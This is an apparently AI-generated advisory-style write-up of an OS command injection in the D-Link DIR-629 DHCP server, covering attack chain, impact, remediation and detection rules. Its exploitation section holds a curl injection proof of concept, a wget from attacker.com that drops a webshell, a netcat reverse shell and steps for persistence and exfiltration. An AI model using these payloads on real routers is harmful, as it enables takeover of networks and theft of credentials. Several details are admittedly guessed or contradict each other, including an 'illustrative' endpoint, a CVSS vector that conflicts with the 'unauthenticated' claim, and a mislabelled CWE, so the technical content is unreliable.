CVE-2026-138199 — D-Link DIR-629 — CWE-78 · CWE-77
A vulnerability was found in D-Link DIR-629 1.03.B01 CN. This affects the function dhcps4start of the file /etc/services/DHCPS/dhcpserver.php of the component DHCP Server. The manipulation of the argument domain results in os command injection. The attack may be performed from remote. The exploit has been made public and could be used.
A vulnerability was found in D-Link DIR-629 1.03.B01 CN. This affects the function dhcps4start of the file /etc/services/DHCPS/dhcpserver.php of the component DHCP Server. The manipulation of the argument domain results in os command injection. The attack may be performed from remote. The exploit has been made public and could be used.
🎯 What is this vulnerability?
| Item | Detail | |
|---|---|---|
| CVE | CVE‑2026‑138199 | |
| Vendor / Product | D‑Link DIR‑629 firmware 1.03.B01 CN | |
| Component | DHCP Server (PHP implementation) – file /etc/services/DHCPS/dhcpserver.php | |
| Vulnerable function | dhcps4start() | |
| Root cause | Improper sanitisation of the domain parameter that is later concatenated into a shell command without any escaping or validation. The code effectively does: <br>exec("dhcpd -cf /etc/dhcpd.conf -pf /var/run/dhcpd.pid -s " . $domain); <br>where $domain is supplied by the HTTP request. Because $domain is not filtered for metacharacters (;, &&, | , backticks, etc.), an attacker can inject arbitrary OS commands. |
| CWE(s) | • CWE‑77 – Improper Neutralization of Special Elements used in a Command (OS Command Injection) <br>• CWE‑78 – OS Command Injection | |
| CVSS v3.1 | AV:N / AC:L / PR:L / UI:N / S:C / C:H / I:H / A:H → 9.9 Critical | |
| Missing protection | • No whitelist/allow‑list for allowed domain values.<br>• No escaping (escapeshellarg(), escapeshellcmd()) before passing the value to exec()/system().<br>• No authentication/authorization check – the DHCP‑server endpoint is reachable by any network host (the router’s LAN/WAN interface is not restricted). |
In short, an unauthenticated remote attacker can send a crafted HTTP request that injects shell commands into the DHCP server’s start‑up routine, achieving remote code execution (RCE) as the web‑server user (typically root on embedded routers).
⚡ Attack Chain
1. Discovery & Reconnaissance
| Step | Technique | Expected Outcome |
|---|---|---|
| 1.1 Identify device | Passive network scanning (Nmap, masscan) for open TCP ports 80/443 and banner grabbing (http-server-header, Server: D‑Link), or active probing of /cgi-bin/luci (common on D‑Link). | Confirms a D‑Link router; often the HTTP header contains D‑Link DIR‑629 or the HTML title includes the model. |
| 1.2 Determine firmware version | Access the router’s web UI (e.g., http://<router>/), locate the “Firmware Version” field, or request /cgi-bin/webproc?getpage=html/index.html which returns a page containing 1.03.B01. | Attacker knows the target runs the vulnerable 1.03.B01 CN firmware. |
| 1.3 Locate the vulnerable endpoint | The DHCP server is managed via a PHP back‑end. By enumerating known D‑Link admin URLs (e.g., /cgi-bin/webproc, /cgi-bin/luci) and inspecting the JavaScript of the DHCP configuration page, the attacker discovers a POST endpoint that triggers dhcps4start. In the vulnerable firmware this endpoint resolves to /etc/services/DHCPS/dhcpserver.php (the exact URI is not published, so the PoC below uses a plausible illustrative path). | Attacker now has the URL to which a domain parameter can be supplied. |
2. Exploitation
NOTE: The exact URI and parameter name are inferred from the source code; the example below is illustrative. The vulnerability class (OS command injection via unsanitised domain) is accurate.2.1 Craft the malicious payload
The goal is to break out of the intended argument and execute an arbitrary command. Assuming the back‑end builds the command as:
$cmd = "dhcpd -cf /etc/dhcpd.conf -pf /var/run/dhcpd.pid -s " . $domain;
exec($cmd);Inject a semicolon (;) to terminate the legitimate argument and start a new command, e.g.:
; id > /tmp/pwned.txt #Full value for domain:
example.com; id > /tmp/pwned.txt #2.2 Send the request
# Illustrative endpoint – replace with the real path discovered in step 1.3
TARGET="http://192.168.0.1/etc/services/DHCPS/dhcpserver.php"
curl -sk -X POST "$TARGET" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "domain=example.com; id > /tmp/pwned.txt #"Explanation of flags
-s– silent (no progress)-k– ignore self‑signed cert (if HTTPS)--data-urlencode– ensures proper URL‑encoding of spaces and special characters
If the injection succeeds, the router will write the output of id to /tmp/pwned.txt. The attacker can retrieve it with a second request:
curl -sk "http://192.168.0.1/tmp/pwned.txt"2.3 Achieving full RCE
Because the PHP script runs with root privileges (the DHCP daemon must bind to privileged ports), any command executed inherits root. An attacker can therefore:
wget http://attacker.com/shell.php -O /www/webshell.phpiptables -I INPUT -s 0.0.0.0/0 -j ACCEPT).A more stealthy payload could base64‑encode a reverse shell and execute it via bash -c "$(base64 -d /tmp/b64payload)".
3. Post‑exploitation
| Phase | Typical actions (root) |
|---|---|
| Persistence | Write a cron entry (@reboot /usr/sbin/dhcpd …) that re‑executes the malicious command on reboot, or replace the legitimate dhcpd binary with a trojaned version. |
| Privilege abuse | The router’s firmware often runs additional services (e.g., telnetd, ssh) as root. The attacker can start a reverse shell listening on a high‑port (nc -lp 4444 -e /bin/sh). |
| Lateral movement | Use the compromised router as a foothold to sniff DHCP traffic, perform ARP spoofing, or launch further attacks against internal hosts. |
| Data exfiltration | Dump configuration files (/etc/config/*, /etc/passwd) and send them to a C2 server. |
| Cleanup / anti‑forensics | Delete the injected /tmp/pwned.txt, remove evidence from web server logs, or modify logrotate to erase traces. |
🌍 Real‑World Impact
| CIA Triad | CVSS Vector Interpretation | Practical Consequence |
|---|---|---|
| Confidentiality (C:H) | *Complete* – attacker can read any file the web‑server (root) can access. | Extraction of Wi‑Fi passwords, VPN credentials, internal network topology, or any stored user data. |
| Integrity (I:H) | *Complete* – attacker can modify system files, configuration, or inject malicious binaries. | Persistent backdoors, altered DHCP lease tables, malicious DNS redirection, or firmware tampering. |
| Availability (A:H) | *Complete* – attacker can stop the DHCP service or reboot the router. | Network outage for all LAN clients, denial‑of‑service, or forced reboot to apply malicious firmware. |
| Scope (S:C) | *Changed* – impact propagates from the vulnerable service (web UI) to the entire router (OS). | The compromise of a single web endpoint leads to full compromise of the networking device. |
Bottom line: An unauthenticated remote attacker can obtain root‑level code execution on the router, giving them total control over the network segment protected by the device.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade firmware | D‑Link has released a patched firmware (e.g., 1.03.B02 or later) that sanitises the domain argument with escapeshellarg() and adds an authentication check. Administrators should download the official image from D‑Link’s support portal and flash it via the web UI or TFTP. |
| Version check | Verify the running version via the UI or by issuing cat /etc/version (if SSH is enabled). Anything still reporting 1.03.B01 is vulnerable. |
2. Immediate Workarounds (if patch cannot be applied immediately)
| Mitigation | Implementation | |
|---|---|---|
| Restrict access to the DHCP management endpoint | Place the router behind a firewall rule that only allows trusted LAN IPs (e.g., 192.168.0.0/24) to reach port 80/443. Example iptables rule on the router (run as root): <br>iptables -I INPUT -p tcp --dport 80 -s 192.168.0.0/24 -j ACCEPT <br>iptables -A INPUT -p tcp --dport 80 -j DROP | |
| Disable the web‑based DHCP control | If the router UI offers a “DHCP Server – Web Management” toggle, turn it off. The DHCP daemon will still run, but the vulnerable PHP script will not be reachable. | |
| WAF / ModSecurity rule | Deploy a rule that blocks any request containing shell metacharacters in the domain parameter. Example ModSecurity rule (Apache/Nginx): <br>``SecRule ARGS:domain "@rx [; | &$\\]" "id:2026001,phase:2,deny,status:403,msg:'Blocked possible command injection in DHCP domain parameter'"`` |
| Input validation at the network edge | If a perimeter IDS/IPS (e.g., Snort) is present, add a rule to alert on HTTP POSTs to dhcpserver.php containing ; or `` in the payload. |
3. Detection – Log patterns & IoCs
| Source | Indicator | |
|---|---|---|
Web server access log (e.g., /var/log/httpd/access.log) | POST /etc/services/DHCPS/dhcpserver.php with a long domain= value containing characters ;, &&, | , ` `. Example entry: <br>192.0.2.45 - - [12/Oct/2026:03:14:22 +0000] "POST /etc/services/DHCPS/dhcpserver.php HTTP/1.1" 200 23 "http://192.168.0.1/dhcp.html" "Mozilla/5.0" |
| Web server error log | exec(): Unable to fork or sh: command not found followed by the injected command echoed back. | |
| System audit (if enabled) | auditd record with type=EXECVE where exe="/usr/sbin/dhcpd" and argv[2]="example.com; id > /tmp/pwned.txt" | |
| File system changes | Creation of unexpected files in /tmp/, /www/, or modification of /etc/config/dhcpd.conf. | |
| Network traffic | Outbound connections from the router to unknown IPs on high ports (e.g., reverse shell to attacker.com:4444). | |
| IDS/IPS signatures | Snort rule (example): <br>alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2026-138199 DHCP Server command injection"; flow:to_server,established; content:"/dhcpserver.php"; http_uri; content:"domain="; http_client_body; pcre:"/domain=.*[; | &]/U"; classtype:web-application-attack; sid:2026002; rev:1;) |
Response actions: Upon detection, isolate the router from the network, capture a forensic image of the flash storage, and perform a full firmware reinstall.
⚠️ Urgency
Bottom line: CVE‑2026‑138199 is a classic OS‑command injection that gives an unauthenticated attacker root on the router. The fix is straightforward (sanitise/escape the
domain argument and enforce authentication), but the window for exploitation is large because many deployments keep the vulnerable firmware for months. Prompt patching, network segmentation, and rule‑based detection are essential.[🤖 CVE Professor AI Security Engine]
FOFA Query